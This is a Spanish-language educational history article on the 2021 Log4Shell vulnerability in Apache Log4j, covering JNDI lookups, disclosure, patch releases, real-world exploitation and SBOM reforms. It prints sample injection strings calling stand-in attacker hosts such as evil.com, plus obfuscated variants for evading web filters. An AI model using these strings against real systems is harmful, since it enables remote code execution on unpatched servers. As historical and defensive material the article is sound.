Intermediohistoriavulnerabilidadzero-dayJavaopen-sourceJNDILog4j

Log4Shell: Cuando una Librería Rompe Internet (2021)

CVE-2021-44228, conocida como Log4Shell, fue una vulnerabilidad crítica en Apache Log4j 2 con puntuación CVSS 10.0 que afectó a miles de millones de dispositivos. Descubierta en noviembre de 2021, su explotación trivial y la ubicuidad de la librería convirtieron el parcheado en una pesadilla global.

MalwareIntel Research··13 min lectura·3 técnicas ATT&CK
Serie: Historia del Malware — Parte 21

Diciembre de 2021: la cadena de texto que rompió Internet

El 9 de diciembre de 2021, un tweet empezó a circular entre la comunidad de ciberseguridad con una demostración aparentemente absurda: si escribías una cadena de texto específica en el chat de un servidor de Minecraft, podías ejecutar código arbitrario en el servidor. La cadena era algo como ${jndi:ldap://attacker.com/a}.

No era una broma. En las horas siguientes, los equipos de seguridad de todo el mundo comenzaron a comprender el alcance de lo que se denominó Log4Shell (CVE-2021-44228): una vulnerabilidad de ejecución remota de código en Apache Log4j 2, la librería de logging más utilizada del ecosistema Java, con una puntuación CVSS de 10.0 (la máxima posible) y presente en miles de millones de dispositivos y aplicaciones.

Log4Shell combinaba tres factores que rara vez confluyen: una vulnerabilidad trivial de explotar, una superficie de ataque prácticamente ilimitada y una dificultad de parcheado sin precedentes. El resultado fue lo que la directora de CISA, Jen Easterly, describió como "la vulnerabilidad más seria que he visto en mi carrera".

Apache Log4j: la librería invisible

Qué es Log4j y para qué sirve

Apache Log4j 2 es una librería de logging para Java. Su función es sencilla: registrar eventos que ocurren en una aplicación (errores, accesos de usuarios, transacciones, mensajes de depuración) en ficheros de log, consolas o sistemas de gestión centralizados.

El logging es una necesidad universal en el desarrollo de software. Cada aplicación Java necesita registrar eventos, y Log4j era el estándar de facto para hacerlo. Desarrollada por la Apache Software Foundation como proyecto open source, Log4j 2 se publicó en 2014 como sucesor de Log4j 1.x (que databa de 2001).

La ubicuidad del problema

Log4j no era solo una librería popular. Era una dependencia tan fundamental que estaba presente en capas de software que la mayoría de organizaciones ni siquiera sabían que contenían Java:

CategoríaEjemplos de software afectado
Servidores de aplicacionesApache Tomcat, Apache Struts, Spring Framework
Servicios cloudAWS, Azure, Google Cloud (múltiples servicios)
Software empresarialVMware vCenter, Cisco WebEx, IBM WebSphere
Bases de datosApache Solr, Elasticsearch, Neo4j
Herramientas de desarrolloJenkins, JetBrains, Gradle
VideojuegosMinecraft (Java Edition), Steam
SeguridadFortinet, Palo Alto Networks (algunos productos)
Dispositivos IoTCámaras, routers, sistemas industriales con Java embebido

La Apache Software Foundation estimó que Log4j 2 se había descargado más de 400.000 veces solo desde el repositorio Maven Central en el mes previo al descubrimiento. Pero la cifra real de instalaciones era incalculable debido al modelo de distribución del software Java, donde las dependencias se empaquetan dentro de ficheros JAR y WAR que se despliegan en producción.

La vulnerabilidad: JNDI Injection

JNDI: una funcionalidad olvidada

Java Naming and Directory Interface (JNDI) es una API de Java que permite a las aplicaciones buscar objetos y datos a través de servicios de directorio como LDAP, DNS o RMI. JNDI existe desde Java 1.3 (2000) y tiene usos legítimos en entornos empresariales, como buscar recursos de bases de datos o servicios de mensajería en un servidor de aplicaciones.

El problema surgía de una funcionalidad específica de Log4j 2 llamada "lookups". Log4j permitía que las cadenas de texto que procesaba contuvieran expresiones de búsqueda dinámicas que se evaluaban en tiempo de ejecución. La sintaxis era ${prefijo:valor}, y entre los prefijos soportados estaba jndi.

Cómo funcionaba el ataque

La cadena de ataque de Log4Shell se ejecutaba en cuatro pasos:

Paso 1: Inyección. El atacante enviaba una cadena como ${jndi:ldap://servidor-atacante.com/exploit} a cualquier campo que la aplicación víctima registrase con Log4j. Esto podía ser un campo de formulario, una cabecera HTTP, un nombre de usuario, un mensaje de chat o cualquier otro dato que la aplicación escribiera en sus logs.

Paso 2: Evaluación. Cuando Log4j procesaba el mensaje de log, detectaba la expresión ${jndi:...} y la evaluaba, iniciando una consulta JNDI al servidor especificado por el atacante.

Paso 3: Descarga. El servidor LDAP del atacante respondía con una referencia a una clase Java alojada en un servidor HTTP controlado por el atacante. La JVM (Java Virtual Machine) de la víctima descargaba automáticamente esa clase.

Paso 4: Ejecución. La clase Java descargada se cargaba y ejecutaba en el contexto de la aplicación víctima, con los mismos permisos. El atacante podía ejecutar código arbitrario: instalar backdoors, ransomware, cryptominers o cualquier otro payload.

Atacante → envía: ${jndi:ldap://evil.com/x}
         ↓
App víctima → Log4j procesa el texto → detecta ${jndi:...}
         ↓
JVM víctima → consulta LDAP a evil.com → recibe referencia a clase Java
         ↓
JVM víctima → descarga clase Java desde evil.com → la ejecuta
         ↓
Atacante → ejecución remota de código en el servidor víctima
Aspecto técnicoDetalle
CVECVE-2021-44228
CVSS10.0 (máxima)
TipoEjecución remota de código (RCE)
Versiones afectadasLog4j 2.0-beta9 a 2.14.1
Autenticación requeridaNinguna
Complejidad del exploitExtremadamente baja
ProtocoloJNDI vía LDAP, RMI o DNS
VectorCualquier campo procesado por Log4j

Por qué era tan devastadora

Log4Shell tenía características que la convertían en una tormenta perfecta:

  1. Trivialidad de explotación: El payload completo cabía en una línea de texto. No hacía falta ingeniería inversa, no hacía falta una cadena de exploits. Cualquier persona con conocimientos básicos de redes podía explotarla.

  2. Superficie de ataque ilimitada: Cualquier dato que una aplicación Java registrase con Log4j era un vector de ataque potencial. Cabeceras HTTP, campos de formularios, consultas de búsqueda, nombres de WiFi, mensajes de chat... la lista era infinita.

  3. Evasión trivial: Los atacantes descubrieron rápidamente formas de ofuscar el payload para evadir filtros: ${${lower:j}ndi:ldap://...}, ${j${::-n}di:ldap://...}, y docenas de variaciones que los WAF (Web Application Firewalls) no detectaban.

  4. Dependencia transitiva: La mayoría de organizaciones no sabían que tenían Log4j en sus sistemas. Estaba empaquetada dentro de otras librerías, que a su vez estaban dentro de otras librerías. Encontrar todas las instancias era como buscar una aguja en un pajar del tamaño de una ciudad.

Descubrimiento y divulgación

Chen Zhaojun y Alibaba Cloud

Chen Zhaojun, investigador de seguridad del equipo de Alibaba Cloud, descubrió la vulnerabilidad a finales de noviembre de 2021. Reportó el hallazgo de forma responsable a la Apache Software Foundation el 24 de noviembre.

Apache comenzó a trabajar en un parche inmediatamente. El 6 de diciembre se publicó Log4j 2.15.0 con la corrección. Sin embargo, la ventana de divulgación coordinada no se mantuvo.

Divulgación prematura y caos

El 9 de diciembre de 2021, antes de que la mayoría de organizaciones hubieran tenido tiempo de parchear, detalles sobre la vulnerabilidad y pruebas de concepto comenzaron a circular públicamente. Los servidores de Minecraft fueron uno de los primeros vectores documentados públicamente, ya que los jugadores podían explotar la vulnerabilidad simplemente escribiendo la cadena maliciosa en el chat del juego.

Para el 10 de diciembre, la explotación masiva ya estaba en curso. Cloudflare reportó que el volumen de intentos de explotación de Log4Shell en su red global se multiplicó por cien en 72 horas.

La cascada de parches incompletos

El proceso de parcheado fue caótico. El primer parche resultó ser incompleto:

VersiónFechaEstado
2.15.06 diciembre 2021Parche inicial, incompleto (CVE-2021-45046)
2.16.013 diciembre 2021Corrige bypass del primer parche, desactiva JNDI por defecto
2.17.018 diciembre 2021Corrige vulnerabilidad de denegación de servicio (CVE-2021-45105)
2.17.128 diciembre 2021Corrige vulnerabilidad adicional de RCE (CVE-2021-44832)

Cada nueva versión que corregía problemas del parche anterior alimentaba la frustración de los equipos de seguridad que creían haber cerrado la vulnerabilidad. El período entre el 9 y el 28 de diciembre fue de incertidumbre constante.

Explotación en el mundo real

Primeras 72 horas

En las primeras 72 horas tras la divulgación pública, los investigadores de seguridad documentaron una avalancha de actividad maliciosa:

  1. Escaneo masivo: Botnets y actores individuales escanearon millones de servidores buscando instancias vulnerables
  2. Criptominería: Los primeros payloads masivos fueron cryptominers (XMRig para Monero), consistente con explotación oportunista
  3. Webshells: Instalación de webshells en servidores Java para acceso persistente
  4. Ransomware: Familias como Khonsari comenzaron a distribuirse via Log4Shell en los primeros días

Actores de estado-nación

Los servicios de inteligencia fueron rápidos en incorporar Log4Shell:

ActorPaísActividad observada
APT41ChinaExplotación contra entidades gubernamentales y telecomunicaciones
APT29RusiaIntegración en campañas de espionaje existentes
Lazarus GroupCorea del NorteDespliegue de malware NukeSped contra empresas tecnológicas
Phosphorus/APT35IránAtaques contra infraestructura en Israel y Estados Unidos

Explotación a largo plazo

Log4Shell no fue un problema de diciembre de 2021 que se resolvió en enero de 2022. La vulnerabilidad siguió siendo explotada activamente durante meses y años:

En enero de 2022, el grupo de ransomware Conti utilizó Log4Shell como vector de acceso inicial en múltiples campañas. En marzo de 2022, múltiples operaciones de criptominería a gran escala seguían explotando instancias sin parchear. En 2023 y 2024, investigadores seguían encontrando sistemas vulnerables, particularmente en dispositivos IoT y software embebido que nunca recibiría actualizaciones.

La pesadilla del parcheado

El problema de la dependencia transitiva

El desafío fundamental del parcheado de Log4Shell no era técnico (actualizar una librería de Java es sencillo) sino de inventario. La mayoría de organizaciones no tenían una lista completa de dónde se ejecutaba Log4j en su infraestructura.

Log4j podía estar presente como:

  1. Dependencia directa: El proyecto la declaraba explícitamente en su fichero de build (pom.xml, build.gradle)
  2. Dependencia transitiva: Una librería que el proyecto usaba dependía de Log4j, pero el equipo de desarrollo no lo sabía
  3. Empaquetada en un JAR/WAR: La librería estaba incluida como fichero .jar dentro de otro paquete desplegado en producción
  4. En un contenedor Docker: La imagen base del contenedor incluía Log4j
  5. En software de terceros: Aplicaciones comerciales, appliances de red y software empaquetado incluían Log4j internamente
  6. En dispositivos IoT: Firmware de dispositivos con Java embebido que nunca recibiría una actualización

Software Bill of Materials (SBOM)

Log4Shell fue el catalizador definitivo para el concepto de Software Bill of Materials (SBOM), un inventario completo de todos los componentes (incluidas dependencias transitivas) que componen una pieza de software. La Orden Ejecutiva 14028 de Biden (motivada por SolarWinds y reforzada por Log4Shell) estableció SBOM como requisito para proveedores del gobierno federal.

La idea era simple: si no sabes qué componentes contiene tu software, no puedes saber si estás afectado por una vulnerabilidad. Antes de Log4Shell, SBOM era un concepto académico. Después, se convirtió en una prioridad de la industria.

MITRE ATT&CK: técnicas documentadas

TécnicaIDDescripción en el contexto de Log4Shell
Exploit Public-Facing ApplicationT1190Explotación de aplicaciones web con Log4j expuestas a Internet
Command and Scripting InterpreterT1059Ejecución de código Java descargado vía JNDI
Ingress Tool TransferT1105Descarga de payloads desde servidores LDAP del atacante
PhishingT1566Envío de cadenas Log4Shell en emails procesados por servidores Java

Impacto y respuesta global

CISA y la respuesta federal

CISA emitió múltiples alertas y directivas en diciembre de 2021. El 17 de diciembre, la Directiva Operativa Vinculante 22-01 ordenó a todas las agencias federales identificar y parchear instancias de Log4j antes del 24 de diciembre de 2021 (un plazo de una semana, excepcionalmente corto).

CISA también publicó una herramienta de escaneo de Log4j de código abierto y coordinó un esfuerzo internacional de compartición de indicadores de compromiso.

Impacto económico

Estimar el coste total de Log4Shell es prácticamente imposible debido a la escala. Algunos indicadores:

  1. Horas de remediación: Millones de horas de trabajo de equipos de seguridad y desarrollo dedicadas a identificar, parchear y verificar instancias de Log4j
  2. Brechas derivadas: Múltiples brechas de datos atribuidas a la explotación de Log4Shell en organizaciones que no parchearon a tiempo
  3. Impacto en la cadena de suministro: Retrasos en proyectos de software mientras equipos priorizaban el parcheado
  4. Coste de herramientas: Aumento de inversión en herramientas de Software Composition Analysis (SCA) y escáneres de vulnerabilidades

El debate sobre la seguridad del open source

Log4Shell reavivó un debate fundamental: ¿quién es responsable de la seguridad de software open source que sustenta infraestructura crítica?

Log4j era mantenido por un equipo reducido de voluntarios que dedicaban tiempo parcial al proyecto. Ralph Goers, el principal mantenedor, tenía un trabajo a jornada completa y contribuía a Log4j en su tiempo libre. La fundación Apache proporcionaba infraestructura pero no financiación directa para el desarrollo.

Este modelo, donde software utilizado por la gran mayoría de las empresas del Fortune 500 dependía del trabajo no remunerado de voluntarios, quedó expuesto como insostenible. Iniciativas como la Open Source Security Foundation (OpenSSF) y el programa Alpha-Omega de Google recibieron financiación significativa después de Log4Shell para auditar y asegurar proyectos críticos de open source.

Log4Shell como punto de inflexión

Antes y después

Log4Shell cambió permanentemente la industria de la ciberseguridad en varias dimensiones:

Software Composition Analysis (SCA): Herramientas que analizan las dependencias del software y alertan sobre vulnerabilidades conocidas pasaron de ser opcionales a esenciales. Empresas como Snyk, Sonatype y Mend experimentaron un crecimiento exponencial.

SBOM como estándar: CycloneDX y SPDX se consolidaron como formatos estándar para inventariar componentes de software. Regulaciones en Estados Unidos y Europa comenzaron a exigir SBOM para software desplegado en infraestructura crítica.

Seguridad del open source: La financiación para la seguridad de proyectos open source críticos aumentó significativamente, aunque el problema estructural de la sostenibilidad no se resolvió completamente.

Detección de vulnerabilidades en dependencias: Herramientas de CI/CD integraron escaneo automático de dependencias como paso obligatorio en los pipelines de build.

La vulnerabilidad que nunca termina

A diferencia de otras vulnerabilidades históricas que se resolvieron con un parche, Log4Shell dejó una cola larga de sistemas vulnerables que persistió durante años. Dispositivos IoT con Java embebido, software industrial que no podía actualizarse sin certificación, aplicaciones legacy sin soporte y sistemas olvidados en infraestructuras complejas continuaron siendo vulnerables mucho después de que los parches estuvieran disponibles.

En 2023, dos años después del descubrimiento, la Cyber Safety Review Board (CSRB) del DHS publicó un informe sobre Log4Shell concluyendo que la vulnerabilidad era "endémica" y que seguiría siendo explotada durante al menos una década.

Log4Shell demostró que una vulnerabilidad en una librería de código abierto aparentemente inocua podía tener un impacto comparable al de un ciberataque de estado-nación. La cadena de texto ${jndi:ldap://...} se convirtió en un símbolo de la fragilidad de un ecosistema de software global construido sobre dependencias que nadie auditaba.

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.